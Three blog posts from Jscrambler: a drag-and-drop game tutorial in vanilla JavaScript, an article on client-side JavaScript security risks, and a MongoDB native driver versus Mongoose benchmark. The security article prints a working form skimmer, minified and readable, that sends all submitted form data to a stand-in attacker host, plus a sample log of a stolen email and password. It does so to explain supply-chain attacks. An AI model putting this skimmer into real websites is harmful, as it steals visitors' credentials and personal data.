There are built-in browser behaviors that determine how certain elements will behave when a user clicks and drags them on the viewport. For example, if we try click-dragging the intro image of this very tutorial, we'll see a behavior it triggers: the image will be displayed as a semi-transparent thumbnail, on the side of our mouse pointer, following the mouse pointer for as long as we hold the click. The mouse pointer also changes to the following style:

cursor: grabbing;

We've just shown an example of an element becoming a source element for a drag-and-drop operation. The target of such an operation is known as the target element.

Before we cover an actual drag and drop operation, let's have a quick revision of events in JS.

Events in JS: A Quick Revision

We could go as far as saying that events are the foundation on which all our JavaScript code rests. As soon as we need to do something interactive on a web page, events come into play.

In our code, we listen for: mouse clicks, mouse hovers (mouseover events), scroll events, keystroke events, document loaded events...

We also write event handlers that take care of executing some JavaScript code to handle these events.

We say that we listen for events firing and that we write event handlers for the events being fired.

Describing a Drag and Drop Operation, Step By Step

The HTML and CSS

Let's now go through a minimal drag and drop operation. We'll describe the theory and concepts behind this operation as we go through each step.

The example is as easy as can be: there are two elements on a page. They are styled as boxes. The first one is a little box and the second one is a big box.

To make things even easier to comprehend, let's "label" the first box as "source", and the second one as "target":

<div id="source">Source</div>
<div id="target">Target</div>
<style>
    #source {
        background: wheat;
        width: 100px;
        padding: 20px;
        text-align: center;
    }

#target {
    background: #abcdef;
    width: 360px;
    height: 180px;
    padding: 20px 40px;
    text-align: center;
    margin-top: 50px;
    box-sizing: border-box;
}
</style>

A little CSS caveat above: to avoid the added border width increasing the width of the whole target div, we’ve added the CSS property-value pair of box-sizing: border-box to the #target CSS declaration. Thus, the target element has consistent width, regardless of whether our drag event handlers are running or not.

The output of this code is fairly straightforward:

Convert the “Plain” HTML Element Into a Drag and Drop Source Element

To do this, we use the draggable attribute, like so:

<div id="source" draggable="true">Source</div>

What this little addition does is changing the behavior of the element. Before we added the draggable attribute, if a user click-dragged on the Source div, they'd likely just highlight the text of the div (i.e the word "Source")⁠—as if they were planning to select the text before copying it.

However, with the addition of the draggable attribute, the element changes its behavior and behaves exactly like a regular HTML img element — we even get that little grabbed cursor⁠—giving an additional signal that we've triggered the drag-and-drop functionality.

Capture Drag and Drop Events

There are 8 relevant events in this API:

drag
dragstart
dragend
dragover
dragenter
dragleave
drop
dragend

During a drag and drop operation, a number of the above events can be triggered: maybe even all of them. However, we still need to write the code to react to these events, using event handlers, as we will see next.

Handling the Dragstart and Dragend Events

We can begin writing our code easily. To specify which event we’re handling, we’ll just add an on prefix.

For example, in our HTML code snippet above, we’ve turned a “regular” HTML element into a source element for a drag-and-drop operation. Let’s now handle the dragstart event, which fires as soon as a user has started dragging the source element:

let sourceElem = document.getElementById('source');
sourceElem.addEventListener('dragstart', function (event) {
    confirm('Are you sure you want to move this element?');
})

All right, so we’re reacting to a dragstart event, i.e. we’re handling the dragstart event.

Now that we know we can handle the event, let’s react to the event firing by changing the styles of the source element and the target element.

let sourceElem = document.getElementById('source');
let targetElem = document.getElementById('target');
sourceElem.addEventListener('dragstart', function (event) {
    event.currentTarget.style = "opacity:0.3";
    targetElem.style = "border: 10px dashed gray;";
})

Now, we’re handling the dragstart event by making the source element see-through, and the target element gets a big dashed gray border so that the user can more easily see what we want them to do.

It’s time to undo the style changes when the dragend event fires (i.e. when the user releases the hold on the left mouse button):

sourceElem.addEventListener('dragend', function (event) {
    sourceElem.style = "opacity: 1";
    targetElem.style = "border: none";
})

Here, we’ve used a slightly different syntax to show that there are alternative ways of updating the styles on both the source and the target elements. For the purposes of this tutorial, it doesn’t really matter what kind of syntax we choose to use.

Handling the Dragover and Drop Events

It’s time to deal with the dragover event. This event is fired from the target element.

targetElem.addEventListener('dragover', function (event) {
    event.preventDefault();
});

All we’re doing in the above function is preventing the default behavior (which is opening as a link for specific elements). In a nutshell, we’re setting the stage for being able to perform some operation once the drop event is triggered.

Here’s our drop event handler:

targetElem.addEventListener('drop', function (event) {
    console.log('DROP!');
})

Currently, we’re only logging out the string DROP! to the console. This is good enough since it’s proof that we’re going in the right direction.

Sidenote: notice how some events are emitted from the source element, and some other events are emitted from the target element. Specifically, in our example, the `sourceElem` element emits the `dragstart` and the `dragend` events, and the `targetElem` emits the `dragover` and `drop` events.

Next, we’ll use the dataTransfer object to move the source element onto the target element.

Utilize The dataTransfer Object

The dataTransfer object “lives” in an instance of the Event object⁠—which is built-in to any event. We don’t have to “build” the event object⁠—we can simply pass it to the anonymous event handler function⁠—since functions are “first-class citizens” in JS (meaning: we can pass them around like any other value)⁠—this allows us to pass anonymous functions to event handlers, such as the example we just saw in the previous section.

In that piece of code, the second argument we passed to the addEventListener() method is the following anonymous function:

function(event) {
  console.log('DROP!');
}

The event argument is a built-in object, an instance of the Event object. This event argument comes with a number of properties and methods, including the dataTransfer property⁠, which itself is an object.

In other words, we have the following situation (warning: pseudo-code ahead!):

event: {
…,
dataTransfer: {…},
stopPropagation: function(){…},
preventDefault: function(){…},
…,
…,
}

The important thing to conclude from the above structure is that the event object is just a JS object holding other values, including nested objects and methods. The dataTransfer object is just one such nested object, which comes with its own set of properties/methods.

In our case, we’re interested in the setData() and getData() methods on the dataTransfer object.

The `setData()` and `getData()` Methods on The `dataTransfer` Object

To be able to successfully “copy” the source element onto the target element, we have to perform a few steps:

We need to hook into an event handler for an appropriate drag-and-drop related event, as it emits from the source object;
Once we’re hooked into that specific event (i.e. once we’ve completed the step above), we’ll need to use the event.dataTransfer.setData() method to pass in the relevant HTML⁠—which is, of course, the source element;
We’ll then hook into an event handler for another drag-and-drop event⁠—this time, an event that’s emitting from the target object;
Once we’re hooked into the event handler in the previous step, we’ll need to get the data from step two, using the following method: event.dataTransfer.getData().

That’s all there is to it! To reiterate, we’ll:

Hook into the dragstart event and use the event.dataTransfer.setData() to pass in the source element to the dataTransfer object;
Hook into the drop event and use the event.dataTransfer.getData() to get the source element’s data from the dataTransfer object.

So, let’s hook into the dragstart event handler and get the source element’s data:

sourceElem.addEventListener('dragstart', function(event) {
event.currentTarget.style="opacity:0.3";
targetElem.style = "border: 10px dashed gray;";
event.dataTransfer.setData('text', event.target.id);
})

Next, let’s pass this data on to the drop event handler:

targetElem.addEventListener('drop', function(event) {
console.log('DROP!');
event.target.appendChild(document.getElementById(event.dataTransfer.getData('text')));
})

We could rewrite this as:

targetElem.addEventListener('drop', function(event) {
console.log('DROP!');
const sourceElemData = event.dataTransfer.getData('text');
const sourceElemId = document.getElementById(sourceElemData);
event.target.appendChild(sourceElemId);
})

Regardless of how we decide to do this, we’ve completed a simple drag-and-drop operation, from start to finish.

Next, let’s use the Drag and Drop API to build a game.

Write a Simple Game Using the Drag and Drop API

In this section, we’ll build a very, very, simple game. We’ll have a row of spans with jumbled lyrics to a famous song.

The user can now drag and drop the words from the first row onto the empty slots in the second row, as shown below.

The goal of the game is to place the lyrics in the correct order.

Let’s begin by adding some HTML structure and CSS styles to our game.

Adding The game’s HTML and CSS

<h1>Famous lyrics game: Abba</h1>
<h2>Instruction: Drag the lyrics in the right order.</h2>
<div id="jumbledWordsWrapper">
  <span id="again" data-source-id="again" draggable="true">again</span>
  <span id="go" data-source-id="go" draggable="true">go</span>
  <span id="I" data-source-id="I" draggable="true">I</span>
  <span id="here" data-source-id="here" draggable="true">here</span>
  <span id="mia" data-source-id="mia" draggable="true">mia</span>
  <span id="Mamma" data-source-id="Mamma" draggable="true">Mamma</span
</div>
<div id="orderedWordsWrapper">
  <span data-target-id="Mamma"></span>
  <span data-target-id="mia"></span>
  <span data-target-id="here"></span>
  <span data-target-id="I"></span>
  <span data-target-id="go"></span>
  <span data-target-id="again"></span>
</div>

The structure is straightforward. We have the static h1 and h2 tags. Then, we have the two divs:

jumbledWordsWrapper, and
orderedWordsWrapper

Each of these wrappers holds a number of span tags: one span tag for each word. The span tags in the orderedWordsWrapper don’t have any text inside, they’re empty.

We’ll use CSS to style our game, as follows:

body {
  padding: 40px;
}
h2 {
  margin-bottom: 50px;
}
#jumbledWordsWrapper span {
  background: wheat;
  box-sizing: border-box;
  display: inline-block;
  width: 100px;
  height: 50px;
  padding: 15px 25px;
  margin: 0 10px;
  text-align: center;
  border-radius: 5px;
  cursor: pointer;  
}
#orderedWordsWrapper span {
  background: #abcdef;
  box-sizing: border-box;
  text-align: center;
  margin-top: 50px;
}

Next, we’ll add some behavior to our game using JavaScript.

Adding Our Game’s JavaScript Code

We’ll start our JS code by setting a couple of variables and logging them out to make sure we’ve got proper collections:

const jumbledWords = document.querySelectorAll('#jumbledWordsWrapper > span');
const orderedWords = document.querySelectorAll('#orderedWordsWrapper > span');
console.log('jumbledWords: ', jumbledWords);
console.log('orderedWords: ', orderedWords);

The output in the console is as follows:

"jumbledWords: " // [object NodeList] (6)
["<span/>","<span/>","<span/>","<span/>","<span/>","<span/>"]
"orderedWords: " // [object NodeList] (6)
["<span/>","<span/>","<span/>","<span/>","<span/>","<span/>"]

Now that we’re sure that we’re capturing the correct collections, let’s add an event listener on each of the members in the two collections.

On all the source elements, we’ll add methods to handle the dragstart event firing:

jumbledWords.forEach(el => {
  el.addEventListener('dragstart', dragStartHandler);
})
function dragStartHandler(e) {
  console.log('dragStartHandler running');
  e.dataTransfer.setData('text', e.target.getAttribute('data-source-id'));
  console.log(e.target);
}

On all the target elements, we’ll add methods to handle all the relevant drag-and-drop events, namely:

dragenter
dragover
dragleave
drop

The code that follows should be already familiar:

orderedWords.forEach(el => {
  el.addEventListener('dragenter', dragEnterHandler);
  el.addEventListener('dragover', dragOverHandler);
  el.addEventListener('dragleave', dragLeaveHandler);
  el.addEventListener('drop', dropHandler);
})

function dragEnterHandler(e) {
  console.log('dragEnterHandler running');
}

function dragOverHandler(e) {
  console.log('dragOverHandler running');
  event.preventDefault();
}

function dragLeaveHandler(e) {
  console.log('dragLeaveHandler running');
}

function dropHandler(e) {
  e.preventDefault();

  console.log('dropHandler running');

  const dataSourceId = e.dataTransfer.getData('text'); 
  const dataTargetId = e.target.getAttribute('data-target-id');
  console.warn(dataSourceId, dataTargetId);

  if(dataSourceId === dataTargetId) {
    console.log(document.querySelector([dataTargetId]));
    e.target.insertAdjacentHTML('afterbegin', dataSourceId);
  }
}

In the dropHandler() method, we’re preventing the default way that the browser handles the data that comes in. Next, we’re getting the dragged element’s data and we’re saving it in dataSourceId, which will be the first part of our matching check. Next, we get the dataTargetId so that we can compare if it is equal to the dataSourceId.

If dataSouceId and dataTargetId are equal, that means that our custom data attributes hold matching values, and thus we can complete the adding of the specific source element’s data into the specific target element’s HTML.

Adding CSS Code For Better UX

Let’s start by inspecting the complete JS code, made slimmer by removal of all redundant console.log() calls.

const jumbledWords = document.querySelectorAll('#jumbledWordsWrapper > span');
const orderedWords = document.querySelectorAll('#orderedWordsWrapper > span');

jumbledWords.forEach(el => {
  el.addEventListener('dragstart', dragStartHandler);
})
orderedWords.forEach(el => {
  el.addEventListener('dragenter', dragEnterHandler);
  el.addEventListener('dragover', dragOverHandler);
  el.addEventListener('dragleave', dragLeaveHandler);
  el.addEventListener('drop', dropHandler);
})

function dragStartHandler(e) {
  e.dataTransfer.setData('text', e.target.getAttribute('data-source-id'));
}

function dragEnterHandler(e) {
}

function dragOverHandler(e) {
  event.preventDefault();
}

function dragLeaveHandler(e) {
}

function dropHandler(e) {
  e.preventDefault();

  const dataSourceId = e.dataTransfer.getData('text'); 
  const dataTargetId = e.target.getAttribute('data-target-id');

  if(dataSourceId === dataTargetId) {
    e.target.insertAdjacentHTML('afterbegin', dataSourceId);
  }
}

As you can verify above, we’ve removed all the console.log() invocations, and thus some of our event handler functions are now empty.

That means these functions are ready to receive corresponding CSS code updates. Additionally, due to the updates in style to the dragStartHandler() method, we’ll also need to add a brand new source element’s event listener for the dragend event.

We’ll start by adding another event listener to the jumbledWords collection:

jumbledWords.forEach(el => {
  el.addEventListener('dragstart', dragStartHandler);
  el.addEventListener('dragend', dragEndHandler);
})

And we’ll update the two event handler function definitions too:

function dragStartHandler(e) {
  e.dataTransfer.setData('text', e.target.getAttribute('data-source-id'));
  e.target.style = 'opacity: 0.3';
}
function dragEndHandler(e) {
  e.target.style = 'opacity: 1';
}

Next, we’ll update the styles inside the dragEnterhandler() and the dragLeaveHandler() methods.

function dragEnterHandler(e) {
  e.target.style = 'border: 2px dashed gray; box-sizing: border-box; background: whitesmoke';
}
function dragLeaveHandler(e) {
  e.target.style = 'border: none; background: #abcdef';
}

We’ll also go around some styling issues by updating the if condition inside the dropHandler() method:

  if(dataSourceId === dataTargetId) {
    e.target.insertAdjacentHTML('afterbegin', dataSourceId);
    e.target.style = 'border: none; background: #abcdef';
    e.target.setAttribute('draggable', false);
  }

Preventing Errors

We’ve set up our JS code so that it checks if the values are matching for the data-source-id of the jumbledWordsWrapper div and the data-target-id of the orderedWordsWrapper div.

This check in itself prevents us from dragging any other word onto the correct place⁠—except for the matching word.

However, we have a bug: there’s no code preventing us from dragging the correct word into the same span inside the orderedWordsWrapper multiple times.

Here’s an example of this bug:

Obviously, this is a bug that we need to fix. Luckily, the solution is easy: we’ll just get the source element’s data-source-id, and we’ll use it to build a string which we’ll then use to run the querySelector on the entire document. This will allow us to find the one source span tag whose text node we used to pass it to the correct target slot. Once we do that, all we need to do is set the draggable attribute to false (on the source span element)⁠, thus preventing the already used source span element from being dragged again.

  if(dataSourceId === dataTargetId) {
    e.target.insertAdjacentHTML('afterbegin', dataSourceId);
    e.target.style = 'border: none; background: #abcdef';

    let sourceElemDataId = 'span[data-source-id="' + dataSourceId + '"]';
    let sourceElemSpanTag = document.querySelector(sourceElemDataId);

Additionally, we can give our source element the styling to indicate that it’s no longer draggable. A nice way to do it is to add another attribute: a class attribute. We can do this with setAttribute syntax, but here’s another approach, using Object.assign():

    Object.assign(sourceElemSpanTag, {
      className: 'no-longer-draggable',
    });

The above syntax allows us to set several attributes, and thus we can also set draggable to false as the second entry:

    Object.assign(sourceElemSpanTag, {
      className: 'no-longer-draggable',
      draggable: false,
    });

Of course, we also need to update the CSS with the no-longer-draggable class:

.no-longer-draggable {
  cursor: not-allowed !important;
  background: lightgray !important;
  opacity: 0.5 !important;
}

We have an additional small bug to fix: earlier in the tutorial, we’ve defined the dragEnterHandler() and the dragLeaveHandler() functions. The former function sets the styles on the dragged-over target to a dotted border and a pale background, which signals a possible drop location. The latter function reverts these styles to border: none; background: #abcdef. However, our bug occurs if we drag and try to drop a word into the wrong place. This happens because the dragEnterHandler() event handler gets called as we drag over the wrong word, but since we never trigger the dragLeaveHandler()⁠—instead, we triggered the dropHandler() function⁠—the styles never get reverted.

The solution for this is really easy: we’ll just run the dragLeaveHandler() at the top of the dropHandler() function definition, right after the e.preventDefault(), like this:

function dropHandler(e) {
  e.preventDefault();
  dragLeaveHandler(e);

Now our simple game is complete!

Here’s the full, completed JavaScript code:

const jumbledWords = document.querySelectorAll('#jumbledWordsWrapper > span');
const orderedWords = document.querySelectorAll('#orderedWordsWrapper > span');

jumbledWords.forEach(el => {
  el.addEventListener('dragstart', dragStartHandler);
  el.addEventListener('dragend', dragEndHandler);
})
orderedWords.forEach(el => {
  el.addEventListener('dragenter', dragEnterHandler);
  el.addEventListener('dragover', dragOverHandler);
  el.addEventListener('dragleave', dragLeaveHandler);
  el.addEventListener('drop', dropHandler);
})

function dragStartHandler(e) {
  e.dataTransfer.setData('text', e.target.getAttribute('data-source-id'));
  e.target.style = 'opacity: 0.3';
}
function dragEndHandler(e) {
  e.target.style = 'opacity: 1';
}

function dragEnterHandler(e) {
  e.target.style = 'border: 2px dashed gray; box-sizing: border-box; background: whitesmoke';
}

function dragOverHandler(e) {
  event.preventDefault();
}

function dragLeaveHandler(e) {
  e.target.style = 'border: none; background: #abcdef';
}

function dropHandler(e) {
  e.preventDefault();
  dragLeaveHandler(e); 

  const dataSourceId = e.dataTransfer.getData('text'); 
  const dataTargetId = e.target.getAttribute('data-target-id');

  if(dataSourceId === dataTargetId) {
    e.target.insertAdjacentHTML('afterbegin', dataSourceId);
    e.target.style = 'border: none; background: #abcdef';

    let sourceElemDataId = 'span[data-source-id="' + dataSourceId + '"]';
    let sourceElemSpanTag = document.querySelector(sourceElemDataId);

    Object.assign(sourceElemSpanTag, {
      className: 'no-longer-draggable',
      draggable: false,
    });
  }

}

Final Thoughts

Even though our game is finished, this doesn’t have to be the end of the road!

It’s always possible to further improve our code. There are many additional things that can be done here.

We could, for example:

Add a start and end screen;
Add a counter that would count the number of attempts;
Add a countdown timer that would not limit the number of attempts, but rather the time available for us to complete our puzzle game;
Add more questions;
Add a leaderboard (we’d need to persist our data somehow);
Refactor the logic of our game so that we can keep the questions and the order of words in a simple JS object;
Fetch the questions from a remote API.

There are always more things to learn and more ways to expand our apps. However, all of the above-listed improvements are out of the scope of this tutorial⁠—learning the basics of the Drag and Drop API by building a simple game in vanilla JS.

The fun of coding is in the fact that you can try things on your own. So, try to implement some of these improvements, and make this game your own.

Lastly, if you want to secure your JavaScript source code against theft and reverse-engineering, you can try Jscrambler for free.

Originally published on the Jscrambler Blog by Ajdin Imsirovic.

The Most Effective Way to Protect Client-Side JavaScript Applications

Jscrambler — Tue, 06 Jul 2021 15:34:49 +0000

JavaScript is a programming language with many useful features—it is built around flexibility, giving you all the capability necessary to do what you want with it. JavaScript’s dynamic nature allowed it to become the de facto language for the browser and the most popular programming language in the world.

One of the most useful JS features is, for example, immediate parsing. This feature means that the browser executes the code right as it downloads content, naturally providing benefits. However, with this level of freedom also comes responsibility.

In this article, weʼd like to delve into the JavaScript security risks and how to protect JavaScript code. This time we will cover only front-end code that runs on the browser, but we have another tutorial on protecting Node.js apps.

How does the browser execute JavaScript?

Imagine all the steps required for a browser. First, it has to download the page and begin parsing. The browser doesnʼt wait around for everything to download—it has the capability to download and parse the page at the same time. So what happens when it encounters JavaScript?

JavaScript is render blocking, which has a tremendous advantage when it executes. This means that, the browser will halt parsing, execute JavaScript first, then continue. This provides ultimate flexibility in wielding this programming language and opens up the code to any number of possibilities.

However, the question is: what are the implications of such features when trying to build secure JavaScript apps?

The Risks of JavaScript

1. Debugging and Tampering

Application security guides such as those from OWASP highlight the threats posed by reverse engineering and tampering with application source code, especially in applications that handle sensitive data or perform critical operations.

This is precisely the case of JavaScript-powered applications, where these risks can be leveraged in the form of various attacks such as intellectual property theft, automated abuse, piracy, and data exfiltration. (For more details on these key business risks, see our blog post on “Enterprise JavaScript: Opportunities, Threats, Solutions”.)

Regulations and standards such as NIST and ISO 27001 also mention these risks of having unprotected source code, recommending that organizations put in place strict control procedures to keep them from experiencing the consequences of possible attacks.

To illustrate these risks, imagine the following code snippet:

<div id="hack-target"></div>
<button>Set Value</button>

<script>
    document.querySelector('button').addEventListener('click', setValue);

    function setValue() {
        var value = '2';
        document.getElementById('hack-target').innerText = value;
    }
</script>

This declares a target in HTML and wires up events. When you click the button, the callback fires.

With client-side JavaScript, you can set a breakpoint right where it sets the value. This breakpoint gets hit right as the event fires. The value that gets set through var value = '2'; can change at will. The debugger halts execution and allows a person to tamper with the page. This capability is helpful when it comes to debugging and the browser does not raise any flags while this is happening.

Since the debugger halts the execution, it has the power to halt page rendering too. Debugging is part of the tooling inside the browser so any person gets access to this.

To see this technique in action check out this code on Code Pen available. Below is a screenshot of the debugging:

So, we know that this feature is great for debugging JavaScript, but how can it impact secure JavaScript code?

Just like anyone can use the debugging tool for legitimate purposes, an attacker can use this feature to change JavaScript at runtime. The attacker can hit a breakpoint, change the DOM and enter arbitrary JavaScript in the console. This kind of attack can be used to exploit possible security flaws on the client-side. The attacker can change the data, hijack the session and make arbitrary JavaScript changes on the page, therefore compromising the security of the original code. Or, as OWASP puts it:

An attacker can either directly modify the code, change the contents of memory dynamically, change or replace the system APIs that the application uses, or modify the application’s data and resources. This can provide the attacker a direct method of subverting the intended use of the software for personal or monetary gain.

For example, with the Web Developer Tools opened, anyone can go to the Console tab and enter:

document.querySelector('button').addEventListener('click', function() {
    alert('sacked');
});

The next time this event fires, it will fire this JavaScript change. Can you feel the bitter taste of danger?

2. Data Exfiltration and Other Client-Side Attacks

Going beyond the security risks of attackers targeting the JavaScript source code itself, we must still consider the dangers of arbitrary JavaScript execution in the browser.

We have been seeing a growing surge of web supply chain attacks such as Magecart attacks flooding the web and leveraging the client-side to exfiltrate data. To put this into perspective let's take a look at an example.

Let's say that somehow (this has already happened before) your CDN gets compromised and the jQuery script you're including on your website is modified, adding the snippet below:

!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(!a.target)return null;b=new FormData(a.target);var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src="https://attackers.site.com/?"+d.substring(1),!0})})}();

It’s very likely that you won’t notice this change—and your website will be distributing malware.

Now, let's try a more readable version of the same snippet:

! function() {
    document.querySelectorAll("form").forEach(function(a) {
        a.addEventListener("submit", function(a) {
            var b;
            if (!a.target) return null;
            b = new FormData(a.target);
            var d = "";
            for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
            return (new Image).src = "https://attackers.site.com/?" + d.substring(1), !0
        })
    })
}();

We can understand its logic as follows:

For every form on the page,
a submit event handler is added, so that when triggered,
form data is collected and rewritten using Query String format,
which is then appended to the new Image resource source URL.

Ok, so let's make is clear: everytime a form is submitted, the exact same data is sent to a remote server (attackers.site.com), requesting what is supposed to be an image resource.

Then, the owners of attackers.site.com will receive the data on their access log:

79.251.209.237 - - [13/Mar/2017:15:26:14 +0100] "GET /?email=john.doe@somehost.com&pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "https://www.your-website.com/signin" "Mozilla/5.0 (Macintosh; In      tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

And as a result, your website will be silently leaking user data right into the hands of attackers, even without any breach to your own server. This is the reason why web supply chain attacks are such a significant threat today, as regulations like GDPR/CCPA/HIPAA impose huge penalties following user data leakage.

How to protect JavaScript on the client-side?

1. JavaScript Code Protection

With the flexible and dynamic nature of the web, to protect JavaScript code from potential attackers, the best option is to add runtime protection. This security layer will protect JavaScript code during execution in order to avoid tampering, providing the most effective level of protection for client-side applications. As explained by Gartner:

Runtime application self-protection is a security technology that is built or linked into an application or application runtime environment and is capable of controlling application execution, detecting, and preventing real-time attacks.

Once JavaScript hits the browser, there is nothing to shield its execution completely. Runtime protection will guard against debugging and code tampering attacks that only happen at runtime. This will include attacks that modify the application while it is offline. A good runtime protection solution will also obfuscate the code to where an attacker canʼt tamper with the solution itself, nor simply go around it.

All these layers of protection are meant to guarantee that you have secure JavaScript code running on the web, despite attackers' efforts to tamper with it. A robust runtime protection solution will also send notifications when an attacker attempts to thwart the code. This allows application owners to react and take action, for example by terminating the user session.

Jscrambler Code Integrity offers a runtime protection solution that protects applications against runtime attacks. It combines anti-debugging and anti-tampering techniques alongside other self-defensive capabilities to provide active protection for JavaScript applications. Specifically:

Anti-debugging detects the use of debugging tools (e.g. DevTools, Firebug) and breaks the debugger to stop the reverse engineering process. This is achieved with code traps and dead objects that make the debugging tools stop working and make the call stack grow, keeping the user from inspecting the app’s control flow.
Control-flow flattening, as the name implies, flattens the program flow, adds opaque predicates and irrelevant code clones. As a result, every single natural conditional construct that makes the code easier to read is gone.
Anti-tampering detects code changes and reacts accordingly. For instance, if you add/remove a single semicolon from a function protected with Jscrambler’s Self-defending feature, it will detect that change and make the code stop working. Both techniques together with code obfuscation make it infeasible for an attacker to tamper with the application.

You can start trying our solution for free now.

2. Client-Side Protection

The typical JavaScript development process often relies on the use of open source components that speed up the development. Additionally, most websites end up running several third-party scripts (chatbots, analytics, ads, etc.) at runtime.

The reality of using all these externally sourced pieces of code is that the attack surface for client-side attacks drastically increases.

Since traditional security systems (server-side security, network security) don’t address the client-side, to tackle these growing threats, companies need complete visibility and control over their website’s client-side.

Jscrambler Webpage Integrity provides full-featured client-side protection against client-side attacks like Magecart web skimmers and data exfiltration. Specifically:

Full real-time observability of the behavior of every single third-party script; this means knowing if it loads/injects more code, if it is sending data out and where to, if it’s accessing form data, cookies, and local storage, if it’s mutating the DOM, etc.
A comprehensive inventory of all these website scripts and the network requests that they are doing;
A powerful rules engine that grants flexible and granular control over the behavior of each script. This allows automatically blocking disallowed behaviors such as tampering with other code in the web page, accessing the “password” field of a login form, accessing cookies or local storage, contacting certain domains, etc.

To get started with Jscrambler Webpage Integrity, request a Free Inventory Report of your website. This report provides a snapshot of every third-party script running on your website and their behavior broken down into actionable security insights.

Conclusion

Since JavaScript powers most of the web (including websites that handle extremely sensitive user data), and since it is naturally a dynamic language for the web that got built for flexibility, it poses additional concerns in terms of security. Like any good double-edged sword, you must wield this with responsibility. So, In order to protect JavaScript code, you must take into account what happens at runtime.

In order to protect JavaScript code, you must take into account what happens at runtime, both because attackers can target your exposed source code and because they can inject malicious JavaScript code through your third-party scripts.

Tackling both these dimensions successfully puts you ahead of attackers and on the right path to compliance.

MongoDB Native Driver vs Mongoose: Performance Benchmarks

Jscrambler — Fri, 18 Dec 2020 10:32:57 +0000

The time has come to put the native driver and mongoose to the test and benchmark how each one performs.

Mongoose is a huge help with MongoDB and offers a bunch of useful features in Node. For performance-sensitive code, is this the best choice? In this take, we’ll dive into benchmarks via the Apache Benchmark to measure data access strategies.

Set Up

We will use Express to make benchmarks a bit more real since it’s one of the fastest. Only relevant code will be posted but feel free to check out the entire repo on GitHub.

With the native driver, this POST endpoint creates a new resource:

nativeApp.post('/', async (req, res) => {
  const data = await req.db.native.insertOne({
    number: req.body.number,
    lastUpdated: new Date()
  })
  res.set('Location', '/' + data.ops[0]._id)
  res.status(201).send(data.ops[0])
})

Note there is a req.db object available, which ties into a native database collection:

nativeApp.use((req, res, next) => {
  req.db = {}
  req.db.native= nativeApp.get('db').collection('native')
  next()
})

This use function is middleware in Express. Remember this intercepts every request and hooks the database to the req object.

For Mongoose, we have similar middleware that does this:

mongooseApp.use((req, res, next) => {
  req.db = {mongoose: mongooseConn.model(
    'Mongoose',
    new Schema({number: Number, lastUpdated: Date}),
    'mongoose')}
  next()
})

Note the use of a Schema that defines individual fields in the collection. If you’re coming from SQL, think of a table as a collection and a column as a field.

The POST endpoint for Mongoose looks like this:

mongooseApp.post('/', async (req, res) => {
  const data = await req.db.mongoose.create({
    number: req.body.number,
    lastUpdated: new Date()
  })
  res.set('Location', '/' + data.id)
  res.status(201).send(data)
})

This endpoint uses the REST style HTTP status code of 201 to respond with the new resource. It is also a good idea to set a Location header with the URL and an id. This makes subsequent requests to this document easier to find.

To eliminate MongoDB completely from these benchmarks, be sure to set the poolSize to 1 in the connection object. This makes the database less efficient but puts more pressure on the API itself. The goal is not to benchmark the database, but the API, and use different strategies in the data layer.

To fire requests to this API, use CURL and a separate port for each strategy:

```shell script
curl -i -H "Content-Type:application/json" -d "{\"number\":42}" http://localhost:3001/
curl -i -H "Content-Type:application/json" -d "{\"number\":42}" http://localhost:3002/




From this point forward, assume port `3001` has the native driver strategy. Port `3002` is for the Mongoose data access strategy.

## Read Performance

The native driver has the following GET endpoint:



```javascript
nativeApp.get('/:id', async (req, res) => {
  const doc = await req.db.native.findOne({_id: new ObjectId(req.params.id)})
  res.send(doc)
})

For Mongoose, this gets a single document:

mongooseApp.get('/:id', async (req, res) => {
  const doc = await req.db.mongoose.findById(req.params.id).lean()
  res.send(doc)
})

Note the code in Mongoose is easier to work with. We put lean at the end of the query to make this as efficient as possible. This prevents Mongoose from hydrating the entire object model since it does not need this functionality. To get a good performance measurement, try benchmarking with and without the lean option in the query.

To fire requests to both endpoints in Apache Benchmark:

```shell script
ab -n 150 -c 4 -H "Content-Type:application/json" http://localhost:3001/5fa548f96a69652a4c80e70d
ab -n 150 -c 4 -H "Content-Type:application/json" http://localhost:3002/5fa5492d6a69652a4c80e70e




A couple of `ab` arguments to note: the `-n` parameter is the number of requests and `-c` is the number of concurrent requests. On a decent size developer box, you will find that it has around 8 logical cores. Setting the concurrent count to 4 chews up half the cores and frees up resources for the API, database, and other programs. Setting this concurrent count to a high number means it is benchmarking the async scheduler in the CPU, so results might be inconclusive.

## Write Performance

For Mongoose, create a PUT endpoint that updates a single document:



```javascript
mongooseApp.put('/:id', async (req, res) => {
  const { number } = req.body
  const data = await req.db.mongoose.findById(req.params.id)
  data.number = number
  data.lastUpdated = new Date()
  res.send(await data.save())
})

The native driver can do this succinctly:

nativeApp.put('/:id', async (req, res) => {
  const { number } = req.body
  const data = await req.db.native.findOneAndUpdate(
    {_id: new ObjectId(req.params.id)},
    {$set: {number: number}, $currentDate: {lastUpdated: true}},
    {returnOriginal: false})
  res.send(data.value)
})

Mongoose has a similar findOneAndUpdate method that is less expensive but also has fewer features. When doing benchmarks, it is better to stick to worse case scenarios. This means including all the features available to make a more informed decision. Doing a find then a save in Mongoose comes with change tracking and other desirable features that are not available in the native driver.

To benchmark these endpoints in Apache Benchmark:

```shell script
ab -n 150 -c 4 -T "application/json" -u .putdata http://localhost:3001/5fa548f96a69652a4c80e70d
ab -n 150 -c 4 -T "application/json" -u .putdata http://localhost:3002/5fa5492d6a69652a4c80e70e




Be sure to create a `.putdata` file with the following:



```json
{"number":42}

Both endpoints update a timestamp lastUpdate field in the document. This is to bust any Mongoose/MongoDB cache that optimizes performance. This forces the database and data access layer to do actual work.

Results and Conclusion

Drumroll please, below are the results:

READS	Native	Mongoose
Throughput	1200 #/sec	583 #/sec
Avg Request	0.83 ms	1.71 ms

WRITES	Native	Mongoose
Throughput	1128 #/sec	384 #/sec
Avg Request	0.89 ms	2.60 ms

Overall, the native driver is around 2x faster than Mongoose. Because the native driver uses findOneAndUpdate, read and write results are identical. The findOneAndUpdate in Mongoose performs identical to findById with the lean option. Mongoose takes a slight ding with save but this comes with more features. Getting rid of the lean to prevent hydration does not make a difference because the document object is small.

